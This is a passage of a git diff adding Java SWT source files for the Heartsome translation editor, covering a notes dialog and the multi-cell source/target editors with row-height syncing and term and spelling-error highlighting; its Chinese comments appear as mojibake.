+ // cmpBtn.setLayout(new GridLayout()); + GridLayoutFactory.fillDefaults().numColumns(1).extendedMargins(0, 0, 35, 5).applyTo(cmpBtn); + cmpBtn.setLayoutData(new GridData(GridData.FILL_VERTICAL)); + btnAdd = new Button(cmpBtn, SWT.NONE); + btnAdd.setText(Messages.getString("dialog.UpdateNoteDialog.btnAdd")); + btnAdd.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + btnEdit = new Button(cmpBtn, SWT.NONE); + btnEdit.setText(Messages.getString("dialog.UpdateNoteDialog.btnEdit")); + btnEdit.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + btnDelete = new Button(cmpBtn, SWT.NONE); + btnDelete.setText(Messages.getString("dialog.UpdateNoteDialog.btnDelete")); + btnDelete.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + initTable(); + initListener(); + + return tparent; + } + + private void initTable() { + Vector noteBeans = xliffEditor.getRowTransUnitBean(rowIndex).getNotes(); + if (noteBeans != null && noteBeans.size() > 0) { + String[][] arrTableItem = new String[noteBeans.size()][]; + for (int i = 0; i < noteBeans.size(); i++) { + NoteBean bean = noteBeans.get(i); + String strNote = bean.getNoteText(); + String date = ""; + String strText = ""; + if (strNote != null) { +// Bug #2334:添加批注包å«ç‰¹æ®Šå­—符ä¿å­˜å¤±è´¥ + strNote = TextUtil.resetSpecialString(strNote); + if (strNote.indexOf(":") != -1) { + date = strNote.substring(0, strNote.indexOf(":")); + if (validData(date)) { + strText = strNote.substring(strNote.indexOf(":") + 1); + }else { + date = ""; + strText = strNote; + } + } else { + strText = strNote; + } + } + String strCurrent = bean.getApplyCurrent(); + if (strCurrent == null || strCurrent.equals("Yes")) { + strCurrent = NatTableConstant.CURRENT_TEXT; + } else { + strCurrent = NatTableConstant.ALL_TEXT; + } + arrTableItem[i] = new String[] { String.valueOf(i + 1), bean.getFrom(), date, strText, strCurrent }; + } + tableViewer.setInput(arrTableItem); + } else { + tableViewer.setInput(null); + } + } + + private void initListener() { + btnAdd.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + AddOrUpdateNoteDialog dialog = new AddOrUpdateNoteDialog(getShell(), xliffEditor, + AddOrUpdateNoteDialog.DIALOG_ADD, null); + if (dialog.open() == Window.OK) { + initTable(); + } + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + btnEdit.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + if (tableViewer.getTable().getSelectionCount() != 1) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.UpdateNoteDialog.msgTitle1"), Messages.getString("dialog.UpdateNoteDialog.msg2")); + return; + } + TableItem item = tableViewer.getTable().getSelection()[0]; + String[] arrNoteItem = new String[] { item.getText(0), item.getText(1), item.getText(2), + item.getText(3), item.getText(4) }; + AddOrUpdateNoteDialog dialog = new AddOrUpdateNoteDialog(getShell(), xliffEditor, + AddOrUpdateNoteDialog.DIALOG_EDIT, arrNoteItem); + if (dialog.open() == Window.OK) { + initTable(); + } + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + btnDelete.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + TableItem[] items = tableViewer.getTable().getSelection(); + if (items.length == 0) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.UpdateNoteDialog.msgTitle1"), Messages.getString("dialog.UpdateNoteDialog.msg3")); + return; + } + if (MessageDialog.openConfirm(getShell(), Messages.getString("dialog.UpdateNoteDialog.msgTitle2"), Messages.getString("dialog.UpdateNoteDialog.msg4"))) { + Vector lstBeans = new Vector(); + for (TableItem item : items) { + String date = item.getText(2); + String noteText = ""; + if (date != null && !date.equals("")) { + noteText += date + ":"; + } + NoteBean bean = new NoteBean(noteText + item.getText(3)); + bean.setFrom(item.getText(1)); + String strApplyCurrent = item.getText(4); + strApplyCurrent = strApplyCurrent.equals(NatTableConstant.CURRENT_TEXT) ? "Yes" : "No"; + bean.setApplyCurrent(strApplyCurrent); + lstBeans.add(bean); + } + HashMap> mapNote = new HashMap>(); + mapNote.put(xliffEditor.getXLFHandler().getRowId(rowIndex), lstBeans); + xliffEditor.getXLFHandler().deleteNote(mapNote); + initTable(); + } + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + } + + // @Override + // protected Control createButtonBar(Composite parent) { + // Control btnBar = super.createButtonBar(parent); + // getButton(IDialogConstants.OK_ID).dispose(); + // getButton(IDialogConstants.CANCEL_ID).dispose(); + // parent.layout(); + // return btnBar; + // } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + Composite cmp = parent.getParent(); + parent.dispose(); + cmp.layout(); + } + + /** + * 验è¯æ‰¹æ³¨é‡Œé¢çš„时间是å¦åˆæ³•ã€‚如果ä¸åˆæ³•è¿”回false。--robert 2012-06-29 + * @param date + * @return + */ + private boolean validData(String date){ + String regex = "\\d{4}-\\d{1,2}-\\d{1,2}"; + return date.matches(regex); + } + + class TableViewerLabelProvider extends LabelProvider implements ITableLabelProvider { + + public Image getColumnImage(Object element, int columnIndex) { + // TODO Auto-generated method stub + return null; + } + + public String getColumnText(Object element, int columnIndex) { + if (element instanceof String[]) { + String[] array = (String[]) element; + return array[columnIndex]; + } + return null; + } + + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/HsMultiActiveCellEditor.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/HsMultiActiveCellEditor.java new file mode 100644 index 0000000..28fcf00 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/HsMultiActiveCellEditor.java @@ -0,0 +1,320 @@ +/** + * HsMultiActiveCellEditor.java + * + * Version information : + * + * Date:2012-12-17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.editor; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.layer.LayerUtil; +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.layer.CompositeLayer; +import net.sourceforge.nattable.layer.DataLayer; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.print.command.TurnViewportOffCommand; +import net.sourceforge.nattable.print.command.TurnViewportOnCommand; +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; +import net.sourceforge.nattable.viewport.ViewportLayer; + +import org.eclipse.swt.custom.StyledText; +import org.eclipse.swt.graphics.Rectangle; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class HsMultiActiveCellEditor { + private static NatTable parent; + private static HsMultiCellEditor sourceEditor; + private static HsMultiCellEditor targetEditor; + + public static int sourceRowPosition = -1; + public static int sourceRowIndex = -1; + + public static int targetRowPosition = -1; + public static int targetRowIndex = -1; + + /** + * @param cellEditors + */ + public static void activateCellEditors(HsMultiCellEditor srcCellEditor, HsMultiCellEditor tgtCellEditor, + NatTable natTable) { + parent = natTable; + sourceEditor = srcCellEditor; + sourceRowIndex = srcCellEditor.getRowIndex(); + sourceRowPosition = srcCellEditor.getRowPosition(); + + targetEditor = tgtCellEditor; + targetRowIndex = tgtCellEditor.getRowIndex(); + targetRowPosition = tgtCellEditor.getRowPosition(); + + sourceEditor.activeCurrentEditor(natTable); + + targetEditor.activeCurrentEditor(natTable); + +// synchronizeRowHeight(); + } + + public static void commit(boolean closeEditorAfterCommit) { + if (sourceEditor != null && sourceEditor.isValid()) { + sourceEditor.getEditHandler().commit(MoveDirectionEnum.NONE, closeEditorAfterCommit); + } + + if (targetEditor != null && targetEditor.isValid()) { + targetEditor.getEditHandler().commit(MoveDirectionEnum.NONE, closeEditorAfterCommit); + } + if (closeEditorAfterCommit) { + close(); + } + } + + private static void close() { + parent = null; + + if (sourceEditor != null) { + sourceEditor.close(); + sourceEditor = null; + } + if (targetEditor != null) { + targetEditor.close(); + targetEditor = null; + } + + sourceRowPosition = -1; + sourceRowIndex = -1; + + targetRowPosition = -1; + targetRowIndex = -1; + } + + public static StyledTextCellEditor getFocusCellEditor() { + if (sourceEditor != null && sourceEditor.isFocus() && sourceEditor.isValid()) { + return sourceEditor.getCellEditor(); + } else if (targetEditor != null && targetEditor.isFocus() && sourceEditor.isValid()) { + return targetEditor.getCellEditor(); + } + return null; + } + + public static void setCellEditorForceFocusByIndex(int colIndex, int rowIndex) { + if (sourceEditor != null && sourceEditor.isValid() && sourceEditor.getColumnIndex() == colIndex + && sourceEditor.getRowIndex() == rowIndex) { + sourceEditor.forceFocus(); + } else if (targetEditor != null && targetEditor.isValid() && targetEditor.getColumnIndex() == colIndex + && targetEditor.getRowIndex() == rowIndex) { + targetEditor.forceFocus(); + } + } + + public static void setCellEditorForceFocus(int colPosition, int rowPosition) { + if (sourceEditor != null && sourceEditor.isValid() && sourceEditor.getColumnPosition() == colPosition + && sourceEditor.getRowPosition() == rowPosition) { + sourceEditor.forceFocus(); + } else if (targetEditor != null && targetEditor.isValid() && targetEditor.getColumnPosition() == colPosition + && targetEditor.getRowPosition() == rowPosition) { + targetEditor.forceFocus(); + } + } + + public static void setSelectionText(StyledTextCellEditor editor, int start, int length) { + if (editor != null && !editor.isClosed()) { + StyledText text = editor.viewer.getTextWidget(); + text.setSelection(start, start + length); + } + } + + public static void synchronizeRowHeight() { + if (parent == null ||sourceEditor == null || !sourceEditor.isValid() || targetEditor == null || !targetEditor.isValid()) { + return; + } + if (sourceRowIndex != targetRowIndex) { // åž‚ç›´æ¨¡å¼ + CompositeLayer comlayer = LayerUtil.getLayer(parent, CompositeLayer.class); + DataLayer dataLayer = LayerUtil.getLayer(parent, DataLayer.class); + + int srcHeight = sourceEditor.computeSize().y; + int srcColPosition = sourceEditor.getColumnPosition(); + int srcRowPosition = sourceEditor.getRowPosition(); + int srcRowIndex = sourceEditor.getRowIndex(); + Rectangle srcBounds = parent.getBoundsByPosition(srcColPosition, srcRowPosition); + if (srcBounds != null && srcBounds.height != srcHeight) { + comlayer.doCommand(new TurnViewportOffCommand()); + // 加上编辑模å¼ä¸‹ï¼ŒStyledTextCellEditor的边框 + dataLayer.setRowHeightByPosition(dataLayer.getRowPositionByIndex(srcRowIndex), srcHeight + 1); + comlayer.doCommand(new TurnViewportOnCommand()); + + LayerCell cell = parent.getCellByPosition(srcColPosition, srcRowPosition); + Rectangle currentSrcBounds = cell.getLayer().getLayerPainter().adjustCellBounds(cell.getBounds()); + int cellStartY = srcBounds.y; + int cellEndY = cellStartY + srcBounds.height; + Rectangle clientArea = parent.getClientAreaProvider().getClientArea(); + int clientAreaEndY = clientArea.y + clientArea.height; + if(cellEndY > clientAreaEndY){ + currentSrcBounds.height = clientAreaEndY - cellStartY; + } + sourceEditor.setEditorBounds(currentSrcBounds, true); + } + + int tgtHeight = targetEditor.computeSize().y; + int tgtColPosition = targetEditor.getColumnPosition(); + int tgtRowPosition = targetEditor.getRowPosition(); + int tgtRowIndex = targetEditor.getRowIndex(); + Rectangle tgtBounds = parent.getBoundsByPosition(tgtColPosition, tgtRowPosition); + if (tgtBounds.height != tgtHeight) { + comlayer.doCommand(new TurnViewportOffCommand()); + // 加上编辑模å¼ä¸‹ï¼ŒStyledTextCellEditor的边框 + dataLayer.setRowHeightByPosition(dataLayer.getRowPositionByIndex(tgtRowIndex), tgtHeight + 1); + comlayer.doCommand(new TurnViewportOnCommand()); + + LayerCell cell = parent.getCellByPosition(tgtColPosition, tgtRowPosition); + Rectangle currentSrcBounds = cell.getLayer().getLayerPainter().adjustCellBounds(cell.getBounds()); + + int cellStartY = tgtBounds.y; + int cellEndY = cellStartY + tgtBounds.height; + Rectangle clientArea = parent.getClientAreaProvider().getClientArea(); + int clientAreaEndY = clientArea.y + clientArea.height; + if(cellEndY > clientAreaEndY){ + currentSrcBounds.height = clientAreaEndY - cellStartY; + } + targetEditor.setEditorBounds(currentSrcBounds, true); + } + } else { //æ°´å¹³æ¨¡å¼ + int srcHeight = sourceEditor.computeSize().y; + int tgtHeight = targetEditor.computeSize().y; + + int newHeight = srcHeight > tgtHeight ? srcHeight : tgtHeight; + int colPosition = sourceEditor.getColumnPosition(); + int rowPosition = sourceEditor.getRowPosition(); + int rowIndex = sourceEditor.getRowIndex(); + Rectangle bounds = parent.getBoundsByPosition(colPosition, rowPosition); + if (bounds != null && bounds.height == newHeight) { + return; + } + CompositeLayer comlayer = LayerUtil.getLayer(parent, CompositeLayer.class); + DataLayer dataLayer = LayerUtil.getLayer(parent, DataLayer.class); + comlayer.doCommand(new TurnViewportOffCommand()); + + // 加上编辑模å¼ä¸‹ï¼ŒStyledTextCellEditor的边框 + newHeight += 3; + dataLayer.setRowHeightByPosition(dataLayer.getRowPositionByIndex(rowIndex), newHeight); + comlayer.doCommand(new TurnViewportOnCommand()); + + // Rectangle adjustedCellBounds = parent.getLayerPainter().adjustCellBounds(srcBounds); + // HsMultiActiveCellEditor + // .adjustWidthAndHeight(new Point(adjustedCellBounds.width, adjustedCellBounds.height)); + Rectangle srcBounds = sourceEditor.getEditorBounds(); + Rectangle tgtBounds = targetEditor.getEditorBounds(); + srcBounds.height = newHeight; + tgtBounds.height = newHeight; + + int cellStartY = srcBounds.y; + int cellEndY = cellStartY + srcBounds.height; + Rectangle clientArea = parent.getClientAreaProvider().getClientArea(); + int clientAreaEndY = clientArea.y + clientArea.height; + if(cellEndY > clientAreaEndY){ + srcBounds.height = clientAreaEndY - cellStartY; + tgtBounds.height = srcBounds.height; + } + sourceEditor.setEditorBounds(srcBounds, true); + targetEditor.setEditorBounds(tgtBounds, true); + } + + } + + public static void recalculateCellsBounds() { + if (parent == null) { + return; + } + ViewportLayer vLayer = LayerUtil.getLayer(parent, ViewportLayer.class); + if (vLayer == null) { + return; + } + if (sourceEditor != null && sourceEditor.isValid()) { + int rowPosition = vLayer.getRowPositionByIndex(sourceEditor.getRowIndex()); + int columnPosition = vLayer.getColumnPositionByIndex(sourceEditor.getColumnIndex()); + rowPosition += 1; + if (rowPosition < 1) { + return; + } + LayerCell cell = parent.getCellByPosition(columnPosition, rowPosition); + if (cell == null) { + return; + } + Rectangle cellBounds = cell.getBounds(); + if (cellBounds != null) { + Rectangle adjustedCellBounds = parent.getLayerPainter().adjustCellBounds(cellBounds); + sourceEditor.setEditorBounds(adjustedCellBounds, true); + sourceEditor.setColumnPosition(columnPosition); + sourceEditor.setRowPosition(rowPosition); + } + } + if (targetEditor != null && targetEditor.isValid()) { + int rowPosition = vLayer.getRowPositionByIndex(targetEditor.getRowIndex()); + int columnPosition = vLayer.getColumnPositionByIndex(targetEditor.getColumnIndex()); + rowPosition += 1; + if (rowPosition < 1) { + return; + } + LayerCell cell = parent.getCellByPosition(columnPosition, rowPosition); + if (cell == null) { + return; + } + Rectangle cellBounds = cell.getBounds(); + if (cellBounds != null) { + Rectangle adjustedCellBounds = parent.getLayerPainter().adjustCellBounds(cellBounds); + targetEditor.setEditorBounds(adjustedCellBounds, true); + targetEditor.setColumnPosition(columnPosition); + targetEditor.setRowPosition(rowPosition); + targetEditor.forceFocus(); + } + } + } + + public static StyledTextCellEditor getTargetStyledEditor() { + if (targetEditor != null && targetEditor.isValid()) { + return targetEditor.getCellEditor(); + } + return null; + } + + public static StyledTextCellEditor getSourceStyledEditor() { + if (sourceEditor != null && sourceEditor.isValid()) { + return sourceEditor.getCellEditor(); + } + return null; + } + + public static void refrushCellsEditAbility() { + StyledTextCellEditor editor = getTargetStyledEditor(); + if (editor != null) { + editor.getEditableManager().judgeEditable(); + } + + editor = getSourceStyledEditor(); + if (editor != null) { + editor.getEditableManager().judgeEditable(); + } + } + + /** @return the sourceEditor */ + public static HsMultiCellEditor getSourceEditor() { + return sourceEditor; + } + + /** @return the targetEditor */ + public static HsMultiCellEditor getTargetEditor() { + return targetEditor; + } + + /** @return the parent */ + public static NatTable getParent() { + return parent; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/HsMultiCellEditor.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/HsMultiCellEditor.java new file mode 100644 index 0000000..4ef8824 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/HsMultiCellEditor.java @@ -0,0 +1,389 @@ +/** + * HsMultiCellEditor.java + * + * Version information : + * + * Date:2012-12-17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.editor; + +import java.util.ArrayList; +import java.util.List; +import java.util.regex.Matcher; + +import net.heartsome.cat.common.bean.ColorConfigBean; +import net.heartsome.cat.common.innertag.factory.PlaceHolderEditModeBuilder; +import net.heartsome.cat.ts.core.bean.SingleWord; +import net.sourceforge.nattable.data.convert.IDisplayConverter; +import net.sourceforge.nattable.data.validate.IDataValidator; +import net.sourceforge.nattable.edit.ICellEditHandler; +import net.sourceforge.nattable.style.IStyle; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.StyleRange; +import org.eclipse.swt.custom.StyledText; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.graphics.TextStyle; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class HsMultiCellEditor { + /** + * marked as source editor or target editor
    + * {@link NatTableConstant#SOURCE} + */ + private String type; + private StyledTextCellEditor cellEditor; + private Control activeCellEditorControl; + private ICellEditHandler editHandler; + + private int columnPosition = -1; + private int rowPosition = -1; + private int columnIndex = -1; + private int rowIndex = -1; + + private IDataValidator dataValidator; + private Object originalCanonicalValue; + // private IDisplayConverter displayConverter; + private IStyle cellStyle; + private Rectangle editorBounds; + + /** + * @param type + * @param cellEditor + * @param activeCellEditorControl + * @param editHandler + * @param columnPosition + * @param rowPosition + * @param columnIndex + * @param rowIndex + * @param dataValidator + * @param originalCanonicalValue + * @param displayConverter + * @param cellStyle + * @param editorBounds + */ + public HsMultiCellEditor(String type, StyledTextCellEditor cellEditor, ICellEditHandler editHandler, + int columnPosition, int rowPosition, int columnIndex, int rowIndex, IDataValidator dataValidator, + Object originalCanonicalValue, IDisplayConverter displayConverter, IStyle cellStyle, Rectangle editorBounds) { + this.type = type; + this.cellEditor = cellEditor; + this.editHandler = editHandler; + this.columnPosition = columnPosition; + this.rowPosition = rowPosition; + this.columnIndex = columnIndex; + this.rowIndex = rowIndex; + this.dataValidator = dataValidator; + this.originalCanonicalValue = originalCanonicalValue; + // this.displayConverter = displayConverter; + this.cellStyle = cellStyle; + this.editorBounds = editorBounds; + } + + public void activeCurrentEditor(Composite parent) { + activeCellEditorControl = cellEditor.activateCell(parent, this); +// if (activeCellEditorControl != null) { +// activeCellEditorControl.setBounds(this.editorBounds); +// } + } + + public boolean isFocus() { + if (activeCellEditorControl != null && !activeCellEditorControl.isDisposed()) + return activeCellEditorControl.isFocusControl(); + return false; + } + + public void forceFocus() { + if (activeCellEditorControl != null && !activeCellEditorControl.isDisposed()) { + activeCellEditorControl.forceFocus(); + } + } + + public boolean isValid() { + return cellEditor != null && !cellEditor.isClosed(); + } + + public boolean validateCanonicalValue() { + if (dataValidator != null) { + return dataValidator.validate(columnIndex, rowIndex, getCanonicalValue()); + } else { + return true; + } + } + + public Object getCanonicalValue() { + if (isValid()) { + return cellEditor.getCanonicalValue(); + } else { + return null; + } + } + + public void close() { + if (cellEditor != null && !cellEditor.isClosed()) { + cellEditor.close(); + } + cellEditor = null; + editHandler = null; + dataValidator = null; + if (activeCellEditorControl != null && !activeCellEditorControl.isDisposed()) { + activeCellEditorControl.dispose(); + } + activeCellEditorControl = null; + columnPosition = -1; + rowPosition = -1; + columnIndex = -1; + rowIndex = -1; + } + + public void highlightedTerms(List terms) { + if (!isValid()) { + return; + } + StyledText styledText = cellEditor.viewer.getTextWidget(); + String text = styledText.getText(); + char[] source = text.toCharArray(); + List ranges = new ArrayList(); + TextStyle style = new TextStyle(cellEditor.getSegmentViewer().getTextWidget().getFont(), null, + ColorConfigBean.getInstance().getHighlightedTermColor()); + for (String term : terms) { + ranges.addAll(calculateTermsStyleRange(source, term.toCharArray(), style)); + } + for (StyleRange range : ranges) { + styledText.setStyleRange(range); + } + } + + /** + * 实时拼检查时高亮错误å•è¯ robert 2013-01-21 + * @param terms + */ + public void highLightedErrorWord(String tgtText, List errorWordList) { + if (!isValid()) { + return; + } + List ranges = new ArrayList(); + TextStyle style = new TextStyle(cellEditor.getSegmentViewer().getTextWidget().getFont(), null, + null); + for(SingleWord singleWord : errorWordList){ + Matcher match = PlaceHolderEditModeBuilder.PATTERN.matcher(singleWord.getWord()); + + // 这里是处ç†ä¸€ä¸ªå•è¯ä¸­æœ‰ä¸€ä¸ªæˆ–多个标记,从而导致标记绘画失败的BUG,如果其中有标记,那么这个 StyleRange 就应该被切断 + boolean hasTag = false; + int index = 0; + while (match.find()) { + StyleRange range = getErrorWordRange(style, singleWord.getStart() + index, match.start() - index); + ranges.add(range); + index = match.end(); + hasTag = true; + } + + if (hasTag) { + if (index < singleWord.getLength()) { + StyleRange range = getErrorWordRange(style, singleWord.getStart() + index, + singleWord.getLength() - index); + ranges.add(range); + } + }else { + ranges.add(getErrorWordRange(style, singleWord.getStart(), singleWord.getLength())); + } + } + refreshErrorWordsStyle(ranges); + + } + + /** + * 刷新拼写检查中错误å•è¯çš„æ ·å¼ + * @param ranges + */ + public void refreshErrorWordsStyle(List ranges){ + StyledText styledText = cellEditor.viewer.getTextWidget(); + List oldRangeList = new ArrayList(); + for(StyleRange oldRange : styledText.getStyleRanges()){ + if (oldRange.underlineStyle != SWT.UNDERLINE_ERROR) { + oldRangeList.add(oldRange); + } + } + styledText.setStyleRange(null); + + styledText.setStyleRanges(oldRangeList.toArray(new StyleRange[oldRangeList.size()])); + if (ranges != null) { + for (StyleRange range : ranges) { + styledText.setStyleRange(range); + } + } + } + + /** + * æ ¹æ®ä¼ å…¥çš„相关å‚数获å–错误å•è¯çš„æ ·å¼ robert 2013-01-22 + * @param style + * @param start + * @param length + * @return + */ + private StyleRange getErrorWordRange(TextStyle style, int start, int length){ + StyleRange range = new StyleRange(style); + range.start = start; + range.length = length; + range.underline = true; + range.underlineStyle = SWT.UNDERLINE_ERROR; + range.underlineColor = ColorConfigBean.getInstance().getErrorWordColor(); + return range; + } + + /** @return the editorBounds */ + public Rectangle getEditorBounds() { + return editorBounds; + } + + public Point computeSize(){ + StyledText textControl = cellEditor.getSegmentViewer().getTextWidget(); + Rectangle controlBounds = textControl.getBounds(); + Point x = textControl.computeSize(controlBounds.width, SWT.DEFAULT, true); + return x; + } + + /** + * Set the editor bounds + * @param editorBounds + * @param isApply + * is apply now; + */ + public void setEditorBounds(Rectangle editorBounds, boolean isApply) { + this.editorBounds = editorBounds; + if (isApply && this.activeCellEditorControl != null && !this.activeCellEditorControl.isDisposed()) { + this.activeCellEditorControl.setBounds(editorBounds); + } + } + + /** @return the type */ + public String getType() { + return type; + } + + /** @return the cellEditor */ + public StyledTextCellEditor getCellEditor() { + return cellEditor; + } + + /** @return the activeCellEditorControl */ + public Control getActiveCellEditorControl() { + return activeCellEditorControl; + } + + /** @return the editHandler */ + public ICellEditHandler getEditHandler() { + return editHandler; + } + + /** @return the columnPosition */ + public int getColumnPosition() { + return columnPosition; + } + + /** @return the rowPosition */ + public int getRowPosition() { + return rowPosition; + } + + /** @return the columnIndex */ + public int getColumnIndex() { + return columnIndex; + } + + /** @return the rowIndex */ + public int getRowIndex() { + return rowIndex; + } + + /** @return the cellStyle */ + public IStyle getCellStyle() { + return cellStyle; + } + + /** @return the originalCanonicalValue */ + public Object getOriginalCanonicalValue() { + return originalCanonicalValue; + } + + /** + * @param columnPosition + * the columnPosition to set + */ + public void setColumnPosition(int columnPosition) { + this.columnPosition = columnPosition; + } + + /** + * @param rowPosition + * the rowPosition to set + */ + public void setRowPosition(int rowPosition) { + this.rowPosition = rowPosition; + } + + private List calculateTermsStyleRange(char[] source, char[] target, TextStyle style) { + int sourceOffset = 0; + int sourceCount = source.length; + int targetOffset = 0, targetCount = target.length; + + char first = target[targetOffset]; + int max = sourceOffset + (sourceCount - targetCount); + List rangeList = new ArrayList(); + for (int i = sourceOffset; i <= max; i++) { + /* Look for first character. */ + if (source[i] != first) { + while (++i <= max && source[i] != first) + ; + } + + /* Found first character, now look at the rest of v2 */ + if (i <= max) { + List tempList = new ArrayList(); + int start = i; + int j = i + 1; + int end = j + targetCount - 1; + for (int k = targetOffset + 1; j < end; j++, k++) { + Matcher matcher = PlaceHolderEditModeBuilder.PATTERN.matcher(source[j] + ""); + if (matcher.matches()) { + StyleRange range = new StyleRange(style); + range.start = start; + range.length = j - start; + start = j + 1; + k--; + end++; + if (end > sourceCount) { + break; + } + tempList.add(range); + continue; + } + if (source[j] != target[k]) { + break; + } + } + + if (j == end) { + /* Found whole string. */ + StyleRange range = new StyleRange(style); + range.start = start; + range.length = j - start; + rangeList.addAll(tempList); + rangeList.add(range); + } + } + } + return rangeList; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/HsMultiCellEditorControl.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/HsMultiCellEditorControl.java new file mode 100644 index 0000000..3efec2f --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/HsMultiCellEditorControl.java @@ -0,0 +1,208 @@ +/** + * HsMultiCellEditorControl.java + * + * Version information : + * + * Date:2012-12-14 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.editor; + +import java.util.Arrays; +import java.util.LinkedList; +import java.util.List; + +import net.heartsome.cat.ts.core.bean.SingleWord; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.layer.LayerUtil; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.qa.RealTimeSpellCheckTrigger; +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.config.CellConfigAttributes; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.data.convert.IDisplayConverter; +import net.sourceforge.nattable.data.validate.IDataValidator; +import net.sourceforge.nattable.edit.EditConfigAttributes; +import net.sourceforge.nattable.edit.ICellEditHandler; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.style.CellStyleProxy; +import net.sourceforge.nattable.style.DisplayMode; +import net.sourceforge.nattable.style.IStyle; +import net.sourceforge.nattable.viewport.ViewportLayer; + +import org.eclipse.swt.custom.StyledText; +import org.eclipse.swt.events.ModifyEvent; +import org.eclipse.swt.events.ModifyListener; +import org.eclipse.swt.graphics.Rectangle; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class HsMultiCellEditorControl { + private 